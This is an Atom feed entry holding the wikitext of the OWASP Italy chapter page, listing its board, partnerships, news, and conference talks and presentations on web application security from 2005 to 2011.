<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Icesurfer</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Icesurfer"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Icesurfer"/>
		<updated>2026-05-27T09:14:04Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Italy&amp;diff=124818</id>
		<title>Italy</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Italy&amp;diff=124818"/>
				<updated>2012-02-22T11:04:42Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: /* OWASP-Italy Board */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;center&amp;gt;[[Image:OWASP-Italy.PNG]] &amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== WELCOME  ====&lt;br /&gt;
&lt;br /&gt;
{{Chapter Template|chaptername=Italy|extra=The chapter leader is [mailto:matteo.meucci@gmail.com Matteo Meucci]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-italy|emailarchives=http://lists.owasp.org/pipermail/owasp-italy}} &lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Italy&amp;lt;/paypal&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== OWASP-Italy Board  ==&lt;br /&gt;
&lt;br /&gt;
*This is the '''OWASP-Italy Board''':&lt;br /&gt;
Founder and Chair: Matteo Meucci (Jan 2005)&amp;lt;br&amp;gt; Director of Communication: Raoul Chiesa&amp;lt;br&amp;gt; Technical Director&amp;amp;nbsp;: Giorgio Fedon&amp;lt;br&amp;gt; R&amp;amp;amp;D Director: Stefano Di Paola, Paolo Perego&amp;lt;br&amp;gt; Technical Writer Director: Lorenzo De Santis&amp;lt;br&amp;gt; Italian Translation of docs and papers: Matteo Paolelli, Massimiliano Graziani.&amp;lt;br&amp;gt; Official active members: Luca Carettoni, Antonio Parata, Carlo Pelliccioni, Claudio Merloni, Mauro Bregolin, Daniele Bellucci, Bernardo Damele, Alessio Marziali.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Partnerships  ====&lt;br /&gt;
&lt;br /&gt;
*IsecLab Partnership&lt;br /&gt;
&lt;br /&gt;
[http://www.iseclab.org http://www.owasp.org/images/4/4b/LogoIsecLab.png]&lt;br /&gt;
&lt;br /&gt;
We are beginning a collaboration with David Balzarotti and Marco Balduzzi of International Secure Systems Lab(IsecLab) with the goal of sharing and improving new WebAppSec projects.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
*CLUSIT Member&lt;br /&gt;
&lt;br /&gt;
http://www.clusit.it/logo_clusit/clusit_logo_b130.gif &lt;br /&gt;
&lt;br /&gt;
Thanks to CLUSIT and OWASP Foundation we have established a cross-membership between the two organizations. So OWASP-Italy is now a [http://www.clusit.it/soci.htm CLUSIT member] and CLUSIT is an OWASP Educational Member.&lt;br /&gt;
&lt;br /&gt;
*ISACA Rome&lt;br /&gt;
&lt;br /&gt;
[http://www.isacaroma.it http://www.owasp.org/images/9/98/Isacaroma.gif]&lt;br /&gt;
&lt;br /&gt;
Thanks to Ugo Spaziani, we are developing seminars and new ideas with ISACA Rome. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== News  ====&lt;br /&gt;
&lt;br /&gt;
== Security Summit 2011 ==&lt;br /&gt;
- 15th March 2011, OWASP-Italy presented a seminar about OWASP news. &amp;lt;br&amp;gt;&lt;br /&gt;
Here you can download the presentations:&amp;lt;br&amp;gt;&lt;br /&gt;
- Matteo Meucci: &amp;quot;[http://www.owasp.org/images/5/51/Security_Summit_2011_-_Meucci.pdf OWASP Future and the OWASP Guidelines: how your company can adopt it to obtain best results]&amp;quot; &amp;lt;br&amp;gt;&lt;br /&gt;
- Paolo Perego: &amp;quot;[http://www.owasp.org/images/2/20/I_tool_OWASP_per_la_sicurezza_del_software_20110315.pdf OWASP tools for the Software Security]&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
- Giorgio Fedon: &amp;quot;[http://www.owasp.org/images/a/a0/Owasp_at_Security_Summit_2011_-_Mythbreaking_Automatic_Code_review_Tools.pdf Myth Busting Automatic Code Review tools]&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
More information here: https://www.securitysummit.it/eventi/view/24&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''OWASP Books are out!'''&lt;br /&gt;
&lt;br /&gt;
Now you can download or buy a book on the OWASP Projects. Check it here: http://stores.lulu.com/owasp &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Activities  ====&lt;br /&gt;
&lt;br /&gt;
*(Jun 10): OWASP Testing Guide presentation at FBK (Fondazione Bruno Kessler). &lt;br /&gt;
&lt;br /&gt;
*(May 10): OWASP Training at London: last 28th May in London, OWASP leaders deliver a course focused on the main OWASP Projects. This course aims to change that by providing a selection of mature and enterprise ready projects together with practical examples of how to use them. &lt;br /&gt;
This Course was FREE for OWASP Members. &lt;br /&gt;
http://www.owasp.org/index.php/London/Training/OWASP_projects_and_resources_you_can_use_TODAY&lt;br /&gt;
&lt;br /&gt;
*(Jan 09) OWASP Testing Guide v3 is finished! You can download or browse it [http://www.owasp.org/index.php/Category:OWASP_Testing_Project here]&lt;br /&gt;
&lt;br /&gt;
*(Mar 07) Luca Carettoni has published an interview to OWASP-Italy (OWASP interviews OWASP&amp;amp;nbsp;:) )&lt;br /&gt;
&lt;br /&gt;
[http://blog.html.it/archivi/2007/02/26/quattro-chiacchiere-con-owasp-italia.php Here] the full article. &lt;br /&gt;
&lt;br /&gt;
*(Oct 06) ISACA Roma has published several interview with OWASP-Italy members:&lt;br /&gt;
&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/276 Matteo Meucci]] [[http://www.isacaroma.it/html/newsletter/node/287 Alberto Revelli]] [[http://www.isacaroma.it/html/newsletter/node/282 Antonio Parata]] [[http://www.isacaroma.it/html/newsletter/node/285 Paolo Perego]] [[http://www.isacaroma.it/html/newsletter/node/328 Carlo Pelliccioni]]&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
*(Sep 06) Paolo Perego has created the new '''OWASP Orizon Project'''. Go to [http://www.owasp.org/index.php/Category:OWASP_Orizon_Project OWASP Orizon Project]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*(Sep 06) Matteo Meucci has been selected as the new editor of the '''OWASP Testing Guide v2'''. See OWASP [http://www.owasp.org/index.php/OWASP_Autumn_Of_Code_2006_:_Selected_Projects_Press_Release press release] and go to [http://www.owasp.org/index.php/OWASP_Autumn_of_Code_2006_-_Projects:_Testing_Guide OWASP Testing Project v2]&lt;br /&gt;
&lt;br /&gt;
*(Sep 06) Carlo Pelliccioni is writing an article about the [http://www.owasp.org/index.php/Analysis_about_error_codes analysis of error codes] received by web servers.&lt;br /&gt;
&lt;br /&gt;
*Top10 Vulnerabilities - OWASP-Italy survey:&lt;br /&gt;
&lt;br /&gt;
[[Image:Top 10 vulnerabilities-mini.GIF]] &lt;br /&gt;
&lt;br /&gt;
*(21 Jun 06) '''Infosecurity 2006''': the event is organized and managed by the CLUSIT.&lt;br /&gt;
&lt;br /&gt;
Alberto Revelli and Matteo Meucci will partecipate as speakers at the seminar: &amp;quot;Web Application Security: guidelines and security auditing for web applications&amp;quot;. [http://www.infosecurity.it/Roma/programma.php More info here] &lt;br /&gt;
&lt;br /&gt;
*(1 Jun 06) '''&amp;quot;Quaderno CLUSIT&amp;quot;'''&lt;br /&gt;
&lt;br /&gt;
CLUSIT has published a book entitled: &amp;quot;La verifica della sicurezza di applicazioni Web-based e il progetto OWASP&amp;quot;. Several OWASP-Italy members (R.Chiesa, L.De Santis, M.Graziani, L.Legato, M.Meucci, A.Revelli) have contributed to the writing. The document is now reserved to CLUSIT members, but will be made public in about 3 months. &lt;br /&gt;
&lt;br /&gt;
*(31 May 06) Luca Carettoni has published the article '''&amp;quot;La sicurezza delle applicazioni Web secondo l'Open Web Application Security Project&amp;quot;.''' [http://sicurezza.html.it/articoli/leggi/1721/la-sicurezza-delle-applicazioni-web-secondo-lopen-/ Here]you can read the full article.&lt;br /&gt;
&lt;br /&gt;
*(1 Mar 06) '''OWASP-Boston, Microsoft'''&lt;br /&gt;
&lt;br /&gt;
Thanks to Jim Weiler, Matteo Meucci has presented &amp;quot;Anatomy of two web attacks&amp;quot; at the OWASP-Boston meeting. [http://www.owasp.org/local/boston.html More info here] &lt;br /&gt;
&lt;br /&gt;
*(18 Nov 05) '''IDC - European Banking Forum'''&lt;br /&gt;
&lt;br /&gt;
Thanks to Raoul Chiesa (Director of Communication OWASP-Italy), we will have a great speech at the [http://www.idc.com/italy/events/banking05/banking05_agenda.jsp IDC European IT Banking Forum 2005]. Agenda: - New standards for the ICT security auditing in the italian banking scenario: OSSTMM and OWASP. Raoul Chiesa, Director of Communications, ISECOM/OWASP-Italy and Matteo Meucci, OWASP-Italy Chair - Workshop: unusual form of attacks and banking system violation: live experience. Raoul Chiesa, Director of Communications, ISECOM/OWASP-Italy &lt;br /&gt;
&lt;br /&gt;
*(Oct 05) '''SMAU 2005''' is the 42a International ICT &amp;amp;amp; Consumer Electronics Exhibition for Italy.&lt;br /&gt;
&lt;br /&gt;
SMAU has accepted our submission! [http://www.webb.it/event/eventview/4488/1/progetto_owasp__case_study_di_applicativi_web_vulnerabili More info here] &lt;br /&gt;
&lt;br /&gt;
*(Giu 05) Thanks to Massimiliano Graziani we have translated in italian the '''&amp;quot;OWASP Pen Test Checklist v.1.1&amp;quot;'''. You can download it [http://www.owasp.org/documentation/testing.html here.]&lt;br /&gt;
&lt;br /&gt;
Thanks to the collaboration with CLUSIT, this doc is available also [http://www.clusit.it/whitepapers.htm here.] &lt;br /&gt;
&lt;br /&gt;
*(May 05) '''ISACA Roma Newsletter''' has published an [http://www.isacaroma.it/html/newsletter/?q=node/78 interview to OWASP-Italy]&lt;br /&gt;
&lt;br /&gt;
*(Apr 05) We have written an article describing the OWASP projects, Web Application Security and the next challenges. '''ICT Security'''.(the italian magazine about Information Security) has published the article on the number 33 - April 2005.&lt;br /&gt;
&lt;br /&gt;
*The presentation of the seminar we have done in '''ISACA Rome''' (31th March 2005) is now available [http://www.isacaroma.it/pdf/050331/meucci.zip here.]&lt;br /&gt;
&lt;br /&gt;
*(Apr 05) We have published a presentation describing a detailed case study of a web application vulnerabilty [http://www.owasp.org/images/7/72/MMS_Spoofing.ppt (MMS Spoofing)].&lt;br /&gt;
&lt;br /&gt;
*(Mar 05) Thanks to Matteo Paolelli we have translated the '''&amp;quot;OWASP Top Ten Vulnerabilties in Web Application Security&amp;quot;''' in italian language. You can download it [http://www.owasp.org/docroot/owasp/projects/topten/OWASPTopTen2004-ITA.pdf here].&lt;br /&gt;
&lt;br /&gt;
*[http://www.isacaroma.it/html/newsletter/?q=node/78 Here] you can read an interview talking about OWASP. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Events  ====&lt;br /&gt;
&lt;br /&gt;
=== 15th March, 2011 - OWASP-Italy@Security Summit ===&lt;br /&gt;
&lt;br /&gt;
- 15th March 2011, OWASP-Italy presented a seminar about OWASP news. &amp;lt;br&amp;gt;&lt;br /&gt;
Here you can download the presentations:&amp;lt;br&amp;gt;&lt;br /&gt;
- Matteo Meucci: &amp;quot;[http://www.owasp.org/images/5/51/Security_Summit_2011_-_Meucci.pdf OWASP Future and the OWASP Guidelines: how your company can adopt it to obtain best results]&amp;quot; &amp;lt;br&amp;gt;&lt;br /&gt;
- Paolo Perego: &amp;quot;[http://www.owasp.org/images/2/20/I_tool_OWASP_per_la_sicurezza_del_software_20110315.pdf OWASP tools for the Software Security]&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
- Giorgio Fedon: &amp;quot;[http://www.owasp.org/images/a/a0/Owasp_at_Security_Summit_2011_-_Mythbreaking_Automatic_Code_review_Tools.pdf Myth Busting Automatic Code Review tools]&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
More information here: https://www.securitysummit.it/eventi/view/24&lt;br /&gt;
&lt;br /&gt;
=== November, 2010 - OWASP-Italy Day V  ===&lt;br /&gt;
&lt;br /&gt;
- OWASP Day for E-Gov 2010: 9th November 2010 - Rome. &amp;lt;br&amp;gt;&lt;br /&gt;
An event organized by Consip. More information [http://www.owasp.org/index.php/Italy_OWASP_Day_E-Gov_10 here]&lt;br /&gt;
&lt;br /&gt;
=== November, 2009 - OWASP-Italy Day IV  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
Following on from the great success of last OWASP Days the forth conference has taken place in November 2009 in Milan. &amp;lt;br&amp;gt;&lt;br /&gt;
More information [http://www.owasp.org/index.php/Italy_OWASP_Day_4 here]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
OWASP Day for E-Gov 2009: 5th November 2009 - Rome. &amp;lt;br&amp;gt;&lt;br /&gt;
More information [http://www.owasp.org/index.php/Italy_OWASP_Day_E-Gov_09 here]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== 31st March, 2009 - OWASP-Italy @ PCI Milan  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Matteo Meucci was invited to talk about OWASP Testing Guide and PCI-DSS Standard at the [http://www.pci-portal.com/lang-en/events/event-info/pcimilan PCI Milan event] last 31st March. &lt;br /&gt;
&lt;br /&gt;
The presentation is published [http://www.owasp.org/images/3/38/MeucciPciMilan09.pdf here] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== 23rd February, 2009 - OWASP Day III  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/index.php/Italy_OWASP_Day_3 &amp;quot;Web Application Security: research meets industry&amp;quot;] &amp;lt;br&amp;gt; Presentations are online! &lt;br /&gt;
&lt;br /&gt;
=== 10th October, 2008 - Isaca Roma PCM 2008 ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Matteo Meucci presented the new OWASP Projects and the Application Security in the Italian Companies. More information [http://www.isacaroma.it/html/ArchivioEventi-081010.html here] &lt;br /&gt;
&lt;br /&gt;
=== 31st March, 2008 - OWASP Day II  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/index.php/Italy_OWASP_Day_2 &amp;quot;The State of the Art of the Web Application Security and the OWASP guidelines in the Companies&amp;quot;] Presentations are online! &lt;br /&gt;
&lt;br /&gt;
=== February 2008 - OWASP Italy at InfoSecurity 2008  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
5th February: &lt;br /&gt;
&lt;br /&gt;
*14:30 - The Owasp Orizon project: internals and hands on&lt;br /&gt;
&lt;br /&gt;
[http://www.infosecurity.it/IT/eventi-sicurezza-informatica/convegni_94.aspx Paolo Perego] &lt;br /&gt;
&lt;br /&gt;
6th February: &lt;br /&gt;
&lt;br /&gt;
*14:30 - Costruire Software Sicuro dalle Fondamenta&lt;br /&gt;
&lt;br /&gt;
[http://www.infosecurity.it/IT/eventi-sicurezza-informatica/convegni_128.aspx Antonio Parata] &lt;br /&gt;
&lt;br /&gt;
7th February: &lt;br /&gt;
&lt;br /&gt;
*10:30 - Tu programmi. Io buco.&lt;br /&gt;
&lt;br /&gt;
[http://www.infosecurity.it/IT/eventi-sicurezza-informatica/convegni_137.aspx Luca Carettoni] &lt;br /&gt;
&lt;br /&gt;
[http://www.infosecurity.it Here] you can read more information about it. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== November 30th, 2007 - OWASP-Italy @ Elsag Datamat Security Forum  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Matteo Meucci was invited to talk about OWASP Guidelines and SDLC Security at the Elsag Datamat Security Forum 2007 &amp;lt;br&amp;gt;Where: Pescara &amp;lt;br&amp;gt;When: 30th November 2007, h.12.30 &lt;br /&gt;
&lt;br /&gt;
=== October 20th, 2007 - OWASP Italy at SMAU E-Academy 2007  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Last 20th October 2007 we had 5 speeches at SMAU E-Academy 2007, here you can download our presentations: &lt;br /&gt;
&lt;br /&gt;
*Giorgio Fedon, COO at Minded Security:&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/.pdf &amp;quot;Dove sono finiti i miei soldi? Internet Banking e Cross Site Scripting&amp;quot;] (coming soon) [[Image:FedonSMAU07.pdf]] &lt;br /&gt;
&lt;br /&gt;
*Paolo Perego, Senior Security Consultant at Spike Reply:&lt;br /&gt;
&lt;br /&gt;
[https://www.owasp.org/images/7/79/PeregoSMAU07.ppt &amp;quot;The Owasp Orizon project - bring security at the source&amp;quot;] &lt;br /&gt;
&lt;br /&gt;
*Antonio Parata, Security Consultant at eMaze:&lt;br /&gt;
&lt;br /&gt;
&amp;quot;Valutazione del rischio tramite la logica fuzzy&amp;quot; (coming soon) [[Image:ParataSMAU07.pdf]] &lt;br /&gt;
&lt;br /&gt;
*Alberto Revelli, Senior Security Consultant at Portcullis Security:&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/images/9/9f/RevelliSMAU07.pdf &amp;quot;Anti-Anti-XSS: bypass delle difese del browser&amp;quot;] &lt;br /&gt;
&lt;br /&gt;
*Stefano Di Paola, CTO at Minded Security:&lt;br /&gt;
&lt;br /&gt;
&amp;quot;Cros-site Flashing! Gli attacchi Web di ultima generazione parlano multipiattaforma&amp;quot; (coming soon) [[Image:DiPaolaSMAU07.pdf]] &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== September 10th, 2007 - OWASP Day WorldWide: &amp;quot;Privacy in the 21st Century&amp;quot;  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Italy_OWASP_Day_1 &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== May 29th, 2007 - Seminar: &amp;quot;Software Security&amp;quot;  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
*Stefano Di Paola, Paolo Perego and Matteo Meucci will talk at the Seminar: [http://www.sicurinfo.it/informazioni/visinf.asp?IDInfo=246&amp;amp;CAT=53 &amp;quot;Which approaches to Software Security&amp;quot;] organized by Firenze Tecnologia.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== May 15th-17th, 2007 - 6th OWASP AppSec Conference in Italy  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
*We are in the initial planning stages for the next OWASP Europe conference, which we plan to hold in Italy in May 2007.&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/index.php/6th_OWASP_AppSec_Conference_-_Italy_2007 Here] you can find all the details about the conference, cfp and sponsorship. &lt;br /&gt;
&lt;br /&gt;
=== April 14th, 2007 - Master on Information Security, University of Rome &amp;quot;La Sapienza&amp;quot; ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
*We have done a 4h seminar for the students of [http://mastersicurezza.uniroma1.it/ Master on Information Security at &amp;quot;La Sapienza&amp;quot;] for the [http://icsecurity.di.uniroma1.it/dokuwiki/doku.php?id=projects:asp Application Security Project of &amp;quot;La Sapienza&amp;quot; University.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== March 30th, 2007 - University of Rome &amp;quot;La Sapienza&amp;quot;  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
*Thanks to Prof. Mancini and Roberto D'Addario, we will talk about OWASP at the convention &amp;quot;Institutions, Companies and Information Security: comparing the problems&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[http://w3.uniroma1.it/security/Eventi/eventi.html Here] you can find more details. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== March 1st, 2007 - EuSecWest 07  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Alberto Revelli and Matteo Meucci presented the new OWASP Testing Guide at [http://www.eusecwest.com/agenda.html EUSecWest]. [http://www.owasp.org/images/e/e9/OWASP_Testing_Guide_Presentation_EUSecWest07.zip Here] you take a look at the presentation. &lt;br /&gt;
&lt;br /&gt;
=== February 6th-8th, 2007 - InfoSecurity  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
*February 6th:15.30&lt;br /&gt;
&lt;br /&gt;
After the great success obtained form CCC at Berlin, Stefano Di Paola and Giorgio Fedon will talk about:&amp;quot; Web Security Client Side: attacks at Web 2.0&amp;quot; More information [http://www.infosecurity.it/it/infosecurity.aspx?ID_Portale=Z6skuJTSHr%2fjF7janL35RA%3d%3d&amp;amp;ID_Pagina=fF%2b7etXTY34nfmtRTL8Shw%3d%3d&amp;amp;ID_MenuLvl1=mllS8ehP3VwfAOVCVR5ckw%3d%3d&amp;amp;ID_MenuLvl2=fF%2b7etXTY34nfmtRTL8Shw%3d%3d&amp;amp;ID_MenuLvl3=fPsJu6gF%2blBE8LaUGEMYLw%3d%3d&amp;amp;Lang=l51VDVQfL9BdevTm%2fsJx0Q%3d%3d&amp;amp;ID_Evento=aqfi82GOKd6I748s1evI8Q%3d%3d&amp;amp;ExtControl=FQQ52p7AGBUZth0l9Qw6MSOcqIebAeaBYiSFezT6eKEvZkQfILymgy7truUG7ii4 here]. &lt;br /&gt;
&lt;br /&gt;
*February 6th:16.30&lt;br /&gt;
&lt;br /&gt;
After the great effort on the Testing Guide Project, Matteo Meucci and Alberto Revelli will present: &amp;quot;The new OWASP Testing Guide&amp;quot; More Information [http://www.infosecurity.it/it/infosecurity.aspx?ID_Portale=Z6skuJTSHr%2fjF7janL35RA%3d%3d&amp;amp;ID_Pagina=fF%2b7etXTY34nfmtRTL8Shw%3d%3d&amp;amp;ID_MenuLvl1=mllS8ehP3VwfAOVCVR5ckw%3d%3d&amp;amp;ID_MenuLvl2=fF%2b7etXTY34nfmtRTL8Shw%3d%3d&amp;amp;ID_MenuLvl3=fPsJu6gF%2blBE8LaUGEMYLw%3d%3d&amp;amp;Lang=l51VDVQfL9BdevTm%2fsJx0Q%3d%3d&amp;amp;ID_Evento=nq6tSIuRoPVJBanBSsRiSQ%3d%3d&amp;amp;ExtControl=FQQ52p7AGBUZth0l9Qw6MSOcqIebAeaBYiSFezT6eKEvZkQfILymgy7truUG7ii4 here]. &lt;br /&gt;
&lt;br /&gt;
*February 7th:12.30&lt;br /&gt;
&lt;br /&gt;
Authors of innovative SQL injection tools, Alberto Revelli and Antonio Parata will show: &amp;quot;Advanced SQL Injection: testing tools and defensive strategies.&amp;quot; More Information [http://www.infosecurity.it/it/infosecurity.aspx?ID_Portale=Z6skuJTSHr%2fjF7janL35RA%3d%3d&amp;amp;ID_Pagina=fF%2b7etXTY34nfmtRTL8Shw%3d%3d&amp;amp;ID_MenuLvl1=mllS8ehP3VwfAOVCVR5ckw%3d%3d&amp;amp;ID_MenuLvl2=fF%2b7etXTY34nfmtRTL8Shw%3d%3d&amp;amp;ID_MenuLvl3=fPsJu6gF%2blBE8LaUGEMYLw%3d%3d&amp;amp;Lang=l51VDVQfL9BdevTm%2fsJx0Q%3d%3d&amp;amp;ID_Evento=3z04F5BgZRgfU0YX8JRYtA%3d%3d&amp;amp;ExtControl=FQQ52p7AGBUZth0l9Qw6MSOcqIebAeaBYiSFezT6eKEvZkQfILymgy7truUG7ii4 here] &lt;br /&gt;
&lt;br /&gt;
*February 7th:13.30&lt;br /&gt;
&lt;br /&gt;
Author of the new OWASP Orizon project, Paolo Perergo will present:&amp;quot;Secure programming: from theory to practice&amp;quot; More Information [http://www.infosecurity.it/it/infosecurity.aspx?ID_Portale=Z6skuJTSHr%2fjF7janL35RA%3d%3d&amp;amp;ID_Pagina=fF%2b7etXTY34nfmtRTL8Shw%3d%3d&amp;amp;ID_MenuLvl1=mllS8ehP3VwfAOVCVR5ckw%3d%3d&amp;amp;ID_MenuLvl2=fF%2b7etXTY34nfmtRTL8Shw%3d%3d&amp;amp;ID_MenuLvl3=fPsJu6gF%2blBE8LaUGEMYLw%3d%3d&amp;amp;Lang=l51VDVQfL9BdevTm%2fsJx0Q%3d%3d&amp;amp;ID_Evento=9HePIzyo5p29ylpGBl6CiA%3d%3d&amp;amp;ExtControl=FQQ52p7AGBUZth0l9Qw6MSOcqIebAeaBYiSFezT6eKEvZkQfILymgy7truUG7ii4 here]. &lt;br /&gt;
&lt;br /&gt;
=== January 25th, 2007 - Isaca Rome  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Matteo Meucci will discuss the new [http://www.owasp.org/index.php/Category:OWASP_Testing_Project OWASP Testing Guide v2]&amp;lt;br&amp;gt; For more information:&amp;lt;br&amp;gt; http://www.isacaroma.it/html/GiornateDiStudio.html &lt;br /&gt;
&lt;br /&gt;
=== October 7th, 2006 - SMAU 2006  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
- &amp;quot;''The quest for secure code: code review and fundamental of secure coding.''&amp;quot; Matteo Meucci will present an introduction to the new OWASP Projects and OWASP-Italy activities. Paolo Perego (sp0nge) will speak about safe coding and the importance of code periodic review as natural software life cycle. Paolo will give a vision on code review and its phases http://www.webb.it/event/eventview/5772 &lt;br /&gt;
&lt;br /&gt;
Here are the presentations: &amp;lt;br&amp;gt; [[Image:Meucci SMAU06.pdf|Meucci_SMAU06]] &amp;lt;br&amp;gt; [[Image:Perego SMAU06.pdf|Perego_SMAU 06]] &lt;br /&gt;
&lt;br /&gt;
- &amp;quot;''Advanced SQL Injection.''&amp;quot; Antonio Parata (S4tan) will explain SQL Injection, and how SQL Inference works on PHP/MySql platform. He will present an open source tool to support the testing. Alberto Revelli (icesurfer) will focus on Microsoft SQL Server: he will perform a live demo of sqlninja (http://sqlninja.sf.net), explaining how to obtain a pseudo-shell over SQL, how to escalate privileges, and how to play with the exotic equation: &amp;quot;SQL Injection + debug.exe + DNS = DOS prompt&amp;quot;&amp;amp;nbsp;! http://www.webb.it/event/eventview/5774 &lt;br /&gt;
&lt;br /&gt;
[[Image:Revelli SMAU06.pdf|Revelli_SMAU06]] &amp;lt;br&amp;gt; [[Image:Parata SMAU06.pdf|Parate_SMAU06]] &amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Image:OWASP-Italy at SMAU06 2.JPG]] Luca, Carlo, Alberto, Antonio, Stefano &amp;lt;br&amp;gt; Matteo, Paolo, Giorgio &lt;br /&gt;
&lt;br /&gt;
=== September 29th, 2006 - OpenExp 2006  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
September 30th, at 10:45 Antonio Parata (S4tan) will speak about SQL Injection: techniques, tools and practical examples. &lt;br /&gt;
&lt;br /&gt;
Abstract: Antonio will introduce some basic concepts about software security. It will be shown how SQL Inference works on PHP/MySql platform and presented an open source tool to support the testing. Finally will be listed some advises to avoid common bugs. http://www.openexp.it/ &lt;br /&gt;
&lt;br /&gt;
OWASP-Italy will have a stand from September 29th to October 1st. &lt;br /&gt;
&lt;br /&gt;
[[Image:Antonio Matteo Carlo.JPG]] [[Image:Antonio speech.JPG]] [[Image:Carlo.JPG]] [[Image:Claudio Luca.JPG]] [[Image:Mayhem Matteo.JPG]] [[Image:OWASP Banner2.JPG]] [[Image:OWASP Banner.JPG]] &lt;br /&gt;
&lt;br /&gt;
=== June 21th, 2006 - InfoSecurity 2006  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Alberto Revelli and Matteo Meucci will partecipate as speakers at the seminar: &amp;quot;Web Application Security: guidelines and security auditing for web applications&amp;quot;. The event is organized and managed by the CLUSIT. &lt;br /&gt;
&lt;br /&gt;
Where: Sheraton Roma Hotel - Viale Del Pattinaggio, 100 When: 10,30 - 17,00 Who: Matteo Meucci and Alberto Revelli Link: http://www.infosecurity.it/Roma/programma.php &lt;br /&gt;
&lt;br /&gt;
Agenda: -- I Session -- Introduction to Web Application Security • Which are the risks? • Risk assessment of a web application • Core pillars of web security How to develop secure web applications: • Guidelines and case-studies &lt;br /&gt;
&lt;br /&gt;
-- II Session -- How to realize a security audit of a web application • The methodology OWASP Penetration Testing • The tools: OWASP WebScarab • Hands-on web application vulnerabilities: OWASP WebGoat • Advanced SQL Injection. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== March 1st, 2006 - OWASP-Boston, Microsoft  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Thanks to Jim Weiler (OWASP-Boston Chair), Matteo Meucci has presented &amp;quot;Anatomy of two web attacks&amp;quot; at the OWASP-Boston meeting of march. [http://www.owasp.org/index.php/Boston More info here] &lt;br /&gt;
